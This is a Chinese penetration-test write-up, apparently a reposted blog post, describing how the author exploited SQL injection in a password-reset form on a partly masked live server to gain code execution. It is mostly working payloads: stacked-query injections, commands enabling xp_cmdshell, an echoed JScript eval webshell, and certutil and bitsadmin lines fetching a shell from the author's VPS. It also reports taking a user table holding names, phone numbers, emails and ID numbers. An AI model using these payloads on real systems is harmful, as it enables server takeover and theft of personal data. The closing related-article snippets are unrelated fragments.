实战|从 SQL Server 注入到 getshell

VSole2023-03-13 10:33:40

0x00 目标情况

一个web站点111.*.*.63,只有一个登陆框,测试了没有注入,没有弱口令,扫描了全端口,没有发现什么有用的信息。

0x01 发现注入

当时是查看网页源代码,有两个可疑接口,一个是初始化密码借口,访问返回空白页面,没有什么用

另一个是密码设置接口,不过这个接口是同网段的另一个ip 111.*.*.59,访问后发现是个重置密码的界面


但是进行密码重置的时候需要发送验证码,系统会先校验用户名是否存在,加单引号出错,and 1=2没反应

burpsuite抓包后sqlmap跑了下,python sqlmap.py -r 1.txt,存在注入


通过sqlmap得到了这几个数据库


[*] HSOA_20170320
[*] HSOA_NEW
[*] HSOA_T
[*] master
[*] model
[*] msdb
[*] Shuttle
[*] SHWT
[*] tempdb

0x02 找网站绝对路径

判断是不是dba权限(延时后返回正确页面,确定为dba权限<也可用sqlmap的–is-dba判断>)


uname=test';if(1=(select is_srvrolemember('sysadmin'))) WAITFOR DELAY '0:0:2';--

判断是否是站库分离(延时后返回正确页面,确定站库没有分离)


uname=test';if(host_name()=@@servername) WAITFOR DELAY '0:0:5';--

查看是否有xp_cmdshell


uname=test';if(1=(select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell')) WAITFOR DELAY '0:0:2'--
恢复/删除xp_cmdshell
exec sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'
exec sp_dropextendedproc 'xplog70.dll'

开启xp_cmdshell

# 关闭xp_cmdshell
EXEC sp_configure 'show advanced options',1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',0;
RECONFIGURE;
# 启用xp_cmdshell
EXEC sp_configure 'show advanced options',1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1;
RECONFIGURE;

得到网站绝对路径

可以找一个在网站中的文件,然后可以用dir /s /b d:\"aa.txt"或者 for /r d:\ %i in (aa.txt) do echo %i来得到路径

查看网页源代码发现引入了js脚本"<script src="/Content/layer/layer.js"></script>",就查找layer.js吧

本来想使用sqlmap的--os-shell直接执行命令试试,python sqlmap.py -r 1.txt –os-shell,但是发现执行命令的话一直没有数据返回

那就手工注入找路径,先建表,将路径插入表,然后得到表内容

--在数据库tempdb下创建临时表tt_tmp
uname=test';use tempdb;create table tt_tmp (tmp1 varchar(1000));--

sqlmap查看建表成功,sqlmap -r 1.txt --dbms "Microsoft SQL Server" -D "tempdb" --tables

查找网站文件并把路径写入到表tt_tmp
uname=test';use tempdb;insert into tt_tmp(tmp1) exec master..xp_cmdshell 'dir /s /b d:\layer.js';--

用sqlmap得到表tt_tmp的内容: python sqlmap.py -r 1.txt --dbms="Microsoft SQL Server" --technique=S -D "tempdb" -T "tt_tmp" -C "tmp1" --dump -v 3

0x03 尝试在111.*.*.59主机getshell

尝试写一句话

先在下面的路径中写入txt文件验证网站路径到底是哪一个

D:\bak\20170226\bak\20170403.2\webapp\Content\layer\
D:\bak\20170226\bak\20170404.2\webapp\Content\layer\
D:\bak\20170226\bak\20170404.3\webapp\Content\layer\
D:\bak\20170226\bak\20170404\webapp\Content\layer\
D:\bak\20170226\bak\20170405\webapp\Content\layer\
D:\bak\20170226\bak\20170407\webapp\Content\layer\
D:\bak\20170226\bak\20180103\webapp\Content\layer\
D:\bak\20170226\bak\20180320\webapp\Content\layer\
D:\bak\20170226\webapp\Content\layer\
D:\bak\20170226\webappYM\Content\layer\
D:\WEBAPP\Content\layer\
uname=test';exec master..xp_cmdshell 'echo test >D:\bak\20170226\bak\20170403.2\webapp\Content\layer\11.txt';--

依次写文件然后访问,在写入 D:\bak\20170226\webapp\Content\layer\123.txt时,访问http://111.*.*.59/Content/layer/123.txt能正常访问到123.txt,返回内容为test,证明web路径就是D:\bak\20170226\webapp

尝试写入一句话(< >的前面要加^)

uname=test';exec master..xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.item["Aa1234567"],"unsafe");%^> > D:\bak\20170226\webapp\Content\layer\cc.aspx';--

访问时可以看到aa.aspx确实写入了,但是菜刀连接不上

尝试直接下载shell到服务器

使用bitsadmin下载时并没有成功,访问http://111.*.*.59/Content/layer/aaa.aspx返回404

uname=test';exec master..xp_cmdshell 'bitsadmin /rawreturn /transfer getfile http://my-vps/aaa.aspx D:\bak\20170226\webapp\Content\layer\aaa.aspx';--

使用certutil下载时才成功,得到shell地址http://111.*.*.59/Content/layer/aaa.aspx

uname=test';exec master..xp_cmdshell 'certutil -urlcache -split -f http://my-vps/aaa.aspx D:\bak\20170226\webapp\Content\layer\aaa.aspx';--

0x04 查数据库相关信息

找到数据库配置文件

尝试登陆

找到了用户表,有用户名、密码、姓名、手机号、邮箱、身份证号


在111.*.*.63登陆发现它只是个登陆接口,真正网站是在111.*.*.59的

0x05 附:sqlmap得到路径的语句分析

cast转换数据类型isnull判断数据是否为空,为空的话返回char(32)unicode字符转换为10进制数字IF(UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(tmp1 AS NVARCHAR(4000)),CHAR(32))) FROM tempdb.dbo.tt_tmp),1,1))>32) WAITFOR DELAY '0:0:1';IF(UNICODE(SUBSTRING((SELECT MIN(ISNULL(CAST(tmp1 AS NVARCHAR(4000)),CHAR(32))) FROM tempdb.dbo.tt_tmp WHERE CONVERT(NVARCHAR(4000),tmp1)>'D:\WEBAPP\Content\layer\layer.js'),1,1))>16) WAITFOR DELAY '0:0:1';
sql注入test
本作品采用《CC 协议》,转载必须注明作者和本文链接
打开APP是一个登录框抓包后发现参数被加密了根据经验,先搜索Encrypt、Decrypt等关键字,发现在Common.js中有一个encryptData函数
burp0_data = {"name": username, "pw": password, "repw": password, "email": email, "submit": ''}
发现漏洞一、环境准备1、在Linux主机上准备一套Xampp:模拟攻防2、在VSCode利用Remote Development进行远程调试3、在Lampp的htdos目录下创建security目录,用于编写服务器PHP代码二、编写Login.html三、编写Login.php"; echo "location.href='welcome.php'";}else{ // echo "login-fail. "; echo "location.href='login.html'";}//关闭数据库mysqli_close?
SQL注入速查表
2022-07-29 09:22:37
现在仅支持MySQL、Microsoft SQL Server,以及一部分ORACLE和PostgreSQL。大部分样例都不能保证每一个场景都适用。现实场景由于各种插入语、不同的代码环境以及各种不常见甚至奇特的SQL语句,而经常发生变化。
SQL注入测试
2022-05-09 07:47:24
0x01 等保测评项 GBT 22239-2019《信息安全技术 网络安全等级保护基本要求》中,8.1.4.4安全计算环境—入侵防范项中要求包括: a)应遵循最小安装的原则,仅安装需要的组件和应用程序; b)应关闭不需要的系统服务、默认共享和高危端口; c)应通过设定终端接入方式或网络地址范围对通过网络进行管理的管理终端进行限制; d)应提供数据有效性检验功能,保证通过人机接口输入或通过通
关于 SQL InjectionSQL Injection 就是通过把恶意的 SQL 命令插入到 Web 表单让服务器执行,最终达到欺骗服务器或数据库执行恶意的 SQL 命令。
一个经过完整而优秀开发的应用一般来说你是看不到错误提示的,所以你是没办法从Union攻击和错误中提取出数据的 一般盲注,你不能在页面中看到响应,但是你依然能同个HTTP状态码得知查询的结果 完全盲注,你无论怎么输入都完全看不到任何变化。你只能通过日志或者其它什么的来注入。虽然不怎么常见。
SQL手工注入总结
2021-11-11 08:19:35
虽说目前互联网上已经有很多关于 sql 注入的神器了,但是在这个 WAF 横行的时代,手工注入往往在一些真实环境中会显得尤为重要。本文主要把以前学过的知识做个总结,不会有详细的知识解读,类似于查询手册的形式,便于以后的复习与查阅,文中内容可能会存在错误,望师傅们斧正!
id=3';对应的sql:select * from table where id=3' 这时sql语句出错,程序无法正常从数据库中查询出数据,就会抛出异常; 加and 1=1 ,URL:xxx.xxx.xxx/xxx.php?id=1' order by 3# 没有报错,说明存在3列爆出数据库:?id=-1' union select 1,group_concat,3 from information_schema.schemata#爆出数据表:?id=1' and extractvalue--+(爆字段)?
VSole
网络安全专家